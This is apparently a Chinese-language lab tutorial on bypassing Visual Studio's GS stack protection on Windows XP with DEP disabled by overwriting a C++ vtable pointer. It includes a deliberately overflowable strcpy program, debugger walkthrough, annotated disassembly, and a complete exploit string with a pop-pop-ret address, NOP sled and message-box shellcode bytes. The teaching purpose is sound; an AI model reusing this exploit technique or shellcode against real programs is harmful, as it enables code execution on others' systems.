淹沒虛函數(shù)地址過GS保護(hù)(關(guān)閉DEP保護(hù))

作者:黑蛋
1.簡介
針對緩沖區(qū)溢出覆蓋函數(shù)返回地址這一特征,微軟在編譯程序時(shí)使用了一個(gè)安全編譯選項(xiàng)--GS,?Visual Studio 2003 (VS 7.0)及以后版本的?Visual Studio?中默認(rèn)啟用了這個(gè)編譯選項(xiàng)。在所有函數(shù)調(diào)用時(shí),會(huì)向棧中壓入一個(gè)DWORD,他是data段第一個(gè)DWORD與EBP亦或之后形成的值,處于EBP+4的位置,在所有函數(shù)執(zhí)行完返回時(shí),會(huì)有一個(gè)檢查函數(shù),檢測EBP+4的值是否和原來一樣,一樣則正常返回,反之進(jìn)入異常處理流程,函數(shù)不會(huì)正常返回,這個(gè)操作叫?Security check,如果有緩沖區(qū)溢出函數(shù)返回值,勢必會(huì)淹沒Security Cookie,進(jìn)入異常處理流程。如果我們在有GS保護(hù)的程序中使用棧溢出淹沒返回地址EBP+4的位置,勢必會(huì)破壞EBP-4的值,在函數(shù)返回之前經(jīng)過Security check,會(huì)直接導(dǎo)致我們棧溢出淹沒返回值失敗,本篇通過調(diào)用c++虛函數(shù)在GS檢查函數(shù)之前的特征,通過淹沒虛函數(shù)地址,讓虛函數(shù)地址指向我們的shellcode,達(dá)到繞過GS保護(hù)成功溢出的目的。詳細(xì)了解GS保護(hù)機(jī)制可以參考《0day安全》這本書。
2.環(huán)境配置
環(huán)境
配置
操作系統(tǒng)
XP系統(tǒng)
編譯器
vs2008
調(diào)試器
x32dbg
3.代碼
#include "stdafx.h"
#include "string.h"
class GSVirtual {
public :
void gsv(char * src)
??? {
?????? char buf[200];
?????? strcpy(buf, src);
?????? bar();
??? }
??? virtual void? bar()
??? {
??? }
};
int main()
{
??? GSVirtual test;
??? test.gsv("\x90\x90\x90\x90\x90\x90\x90\x90"
?????? "\x90\x90\x90\x90\x90\x90\x90\x90"
?????? "\x90\x90\x90\x90\x90\x90\x90\x90"
?????? "\x90\x90\x90\x90\x90\x90\x90\x90"
?????? "\x90\x90\x90\x90\x90\x90\x90\x90"
?????? "\x90\x90\x90\x90\x90\x90\x90\x90"
?????? "\x90\x90\x90\x90\x90\x90\x90\x90"
?????? "\x90\x90\x90\x90\x90\x90\x90\x90"
?????? "\x90\x90\x90\x90\x90\x90\x90\x90"
?????? "\x90\x90\x90\x90\x90\x90\x90\x90"
?????? "\x90\x90\x90\x90\x90\x90\x90\x90"
?????? "\x90\x90\x90\x90\x90\x90\x90\x90"
?????? "\x90\x90\x90\x90\x90\x90\x90\x90"
?????? "\x90\x90\x90\x90\x90\x90\x90\x90"
?????? "\x90\x90\x90\x90\x90\x90\x90\x90"
?????? "\x90\x90\x90\x90\x90\x90\x90\x90"
?????? "\x90\x90\x90\x90\x90\x90\x90\x90"
?????? "\x90\x90\x90\x90\x90\x90\x90\x90"
?????? "\x90\x90\x90\x90\x90\x90\x90\x90"
?????? "\x90\x90\x90\x90\x90\x90\x90\x90"
?????? "\x90\x90\x90\x90\x90\x90\x90\x90"
?????? "\x90\x90\x90\x90\x90\x90\x90\x90"
?????? "\x90\x90\x90\x90\x90\x90\x90\x90"
?????? "\x90\x90\x90\x90\x90\x90\x90\x00");
??? return 0;
}
這里我們首先給gsv函數(shù)傳入一段正常的字符串0x90,便于我們第一次分析函數(shù)棧內(nèi)情況。
4.項(xiàng)目配置如下(Win32,release)
第一步:打開項(xiàng)目屬性-->配置屬性-->C/C++-->代碼生成-->運(yùn)行時(shí)庫-->多線程調(diào)試(/MTd);
第二步:打開項(xiàng)目屬性-->配置屬性-->C/C++-->代碼生成-->緩沖區(qū)安全檢查(GS)-->是;第三步:打開項(xiàng)目屬性-->配置屬性-->鏈接器-->高級(jí)-->數(shù)據(jù)執(zhí)行保護(hù)(DEP)-->否;
5.代碼介紹:
創(chuàng)建一個(gè)類對象,調(diào)用gsv函數(shù),第一次傳入199字節(jié)\x90,以\x00結(jié)尾,方便觀察棧內(nèi)情況;在gsv中有一個(gè)拷貝函數(shù),下面緊接著調(diào)用一個(gè)虛函數(shù);生成exe,拖入x32dbg,因?yàn)橛蟹?hào)文件,ctrl+g,輸入main,定位到主函數(shù)(OD不行),下斷點(diǎn):

F9運(yùn)行到斷點(diǎn)處:

第一個(gè)call是創(chuàng)建類對象,第二個(gè)call是gsv函數(shù),也就是我們重點(diǎn)觀察目標(biāo),跟進(jìn)第二個(gè)call,查看堆棧,轉(zhuǎn)到EBP:

其中EBP+4是返回地址,EBP+8是我們傳入200字節(jié)字符串地址,EBP+C是虛表地址,棧中0012FE8C指向buf,即EBP-D0

我們發(fā)現(xiàn)第二個(gè)call是GS安全檢查函數(shù),而第一個(gè)call,經(jīng)過分析是調(diào)用虛函數(shù),如果我們通過淹沒虛函數(shù)地址,控制程序流程,就可以在GS檢查前達(dá)到我們的目的,繞過GS保護(hù)。

劃紅線區(qū)域就是找虛表第一個(gè)虛函數(shù)的過程,發(fā)現(xiàn)是EBP+C地址指向的地址指向的地址是call eax中eax的值(這塊需要仔細(xì)理解),所以我們需要控制EBP+C這個(gè)位置,查看堆棧情況

我們發(fā)現(xiàn)需要延長字符串32個(gè)字節(jié),才可以淹沒虛表地址,所以構(gòu)造新的字符串:
test.gsv(
"\xE0\x14\x92\x7C"//這是特意構(gòu)造的四字節(jié),稍后解釋
?????? "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
?????? "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"/*這堆0x90是為了湊數(shù),毫無意義,對應(yīng)硬編碼是nop,即滑板指令*/
?????? "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
?????? "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
?????? "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
?????? "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
?????? "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
?????? "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
?????? "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
?????? "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
?????? "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
?????? "\x53\x68\x6F\x70\x20\x20\x68\x76\x75\x6C\x74\x8B\xC4\x53\x50\x50"
?????? "\x53\xFF\x57\xFC\x53\xFF\x57\xF8“/*這段是我們一個(gè)彈窗shellcode,效果是彈出一個(gè)框,如果程序彈框,證明我們棧溢出成功,并成功繞過GS保護(hù)*/
???????”\x90\x90\x90\x90\x90\x90\x90\x90"
?????? "\x90\x90\x90\x90\x90\x90\x90\x90“/*這段同樣是湊數(shù)字節(jié),沒有意義*/
???????”\x8C\xFE\x12\x00"/*覆蓋虛表地址的四字節(jié),同樣是我們這段字符串在棧中的首地址*/
?????? );

在這里,EBP+C指向的地址已經(jīng)是我們buf的起始位置,當(dāng)程序調(diào)用虛函數(shù)的時(shí)候,即call eax:

這里eax的值就是虛表地址,而我們通過淹沒這個(gè)地址,現(xiàn)在eax指向我們shellcode的第一個(gè)四字節(jié),所以這里我們shellcode第一個(gè)四字節(jié)應(yīng)該是一個(gè)地址,然后程序流程會(huì)去執(zhí)行我們shellcode第一個(gè)四字節(jié)指向的地方,我們在這里構(gòu)造一個(gè)pop,pop,ret,通過倆次彈棧,讓ESP指向我們shellcode第5個(gè)字節(jié)之后,(第一次是call eax,esp會(huì)壓入返回值,第二個(gè)pop是我們shellcode的第一個(gè)四字節(jié)),之后ret會(huì)執(zhí)行到esp指向的地方,即我們的彈窗shellcode的地方,達(dá)到目的。

下面是我shellcode第一個(gè)四字節(jié)指向的地方:

6.思考
(1)我們淹沒的地址并不是虛函數(shù)地址,而是虛表地址,所以我們所淹沒的值同樣應(yīng)該是一個(gè)地址,這個(gè)地址再指向一段程序;
(2)既然我們需要shellcode前四個(gè)字節(jié)指向一段程序,為什么不直接指向下面的彈窗shellcode的位置,這是因?yàn)榭截惡瘮?shù)判斷拷貝結(jié)束是看這個(gè)字節(jié)是否=\x00,而我們棧中的地址都是\x00開頭,這樣會(huì)導(dǎo)致拷貝終止,所以我們shellcode除了最后一個(gè)字節(jié)可以為\x00,其他地方均不得出現(xiàn)\x00,故而我們在程序中尋找不會(huì)出現(xiàn)\x00的地址,指向pop,pop,ret,達(dá)到控制程序流程到我們的shellcode的目的。
7.最后是我分析gsv函數(shù)的一個(gè)簡單的分析注釋:
地址
硬編碼
匯編代碼
注釋
00401000
55
push ebp
gs_virtual.cpp:7
00401001
8BEC
mov ebp,esp
00401003
81EC E4000000
sub esp,E4
00401009
A1 20304200
mov eax,dword ptr ds:[<___security_cook
00423020 DATA段第一個(gè)四字節(jié)傳到EAX
0040100E
33C5
xor eax,ebp
與EBP亦或成COOK
00401010
8945 FC
mov dword ptr ss:[ebp-4],eax
ebp-4=GS COOK
00401013
898D 2CFFFFFF
mov dword ptr ss:[ebp-D4],ecx
EBP-D4=虛函數(shù)地址
00401019
8B45 08
mov eax,dword ptr ss:[ebp+8]
EAX=字符串
0040101C
8985 28FFFFFF
mov dword ptr ss:[ebp-D8],eax
EDP-D8 =?字符串地址
00401022
8D8D 30FFFFFF
lea ecx,dword ptr ss:[ebp-D0]
返回到ntdll
00401028
898D 24FFFFFF
mov dword ptr ss:[ebp-DC],ecx
EBP-DC = 0012FE8C
0040102E
8B95 24FFFFFF
mov edx,dword ptr ss:[ebp-DC]
00401034
8995 20FFFFFF
mov dword ptr ss:[ebp-E0],edx
EBP-E0=0012FE8C
0040103A
8B85 28FFFFFF
mov eax,dword ptr ss:[ebp-D8]
00401040
8A08
mov cl,byte ptr ds:[eax]
CL=第一個(gè)字符
00401042
888D 1FFFFFFF
mov byte ptr ss:[ebp-E1],cl
EBP-E1 = CL
00401048
8B95 24FFFFFF
mov edx,dword ptr ss:[ebp-DC]
EDX = 0012FE8C
0040104E
8A85 1FFFFFFF
mov al,byte ptr ss:[ebp-E1]
00401054
8802
mov byte ptr ds:[edx],al
第一個(gè)字節(jié)復(fù)制到0012FE8C
00401056
8B8D 28FFFFFF
mov ecx,dword ptr ss:[ebp-D8]
ECX=字符串地址
0040105C
83C1 01
add ecx,1
0040105F
898D 28FFFFFF
mov dword ptr ss:[ebp-D8],ecx
EBP-D8=字符串?dāng)?shù)組+1
00401065
8B95 24FFFFFF
mov edx,dword ptr ss:[ebp-DC]
EDX = 0012FE8C
0040106B
83C2 01
add edx,1
0040106E
8995 24FFFFFF
mov dword ptr ss:[ebp-DC],edx
棧內(nèi)存放字符串地址數(shù)組+1
00401074
80BD 1FFFFFFF 00
cmp byte ptr ss:[ebp-E1],0
0040107B
75 BD
jne gs_virtual.40103A
0040107D
8B85 2CFFFFFF
mov eax,dword ptr ss:[ebp-D4]
00401083
8B10
mov edx,dword ptr ds:[eax]
00401085
8B8D 2CFFFFFF
mov ecx,dword ptr ss:[ebp-D4]
0040108B
8B02
mov eax,dword ptr ds:[edx]
0040108D
FFD0
call eax
取虛函數(shù)地址CALL
0040108F
8B4D FC
mov ecx,dword ptr ss:[ebp-4]
gs_virtual.cpp:11
00401092
33CD
xor ecx,ebp
00401094
E8 57000000
call<gs_virtual.@__security_check_cook< p="">
GS安全檢查函數(shù)
00401099
8BE5
mov esp,ebp
0040109B
5D
pop ebp
0040109C
C2 0400
ret 4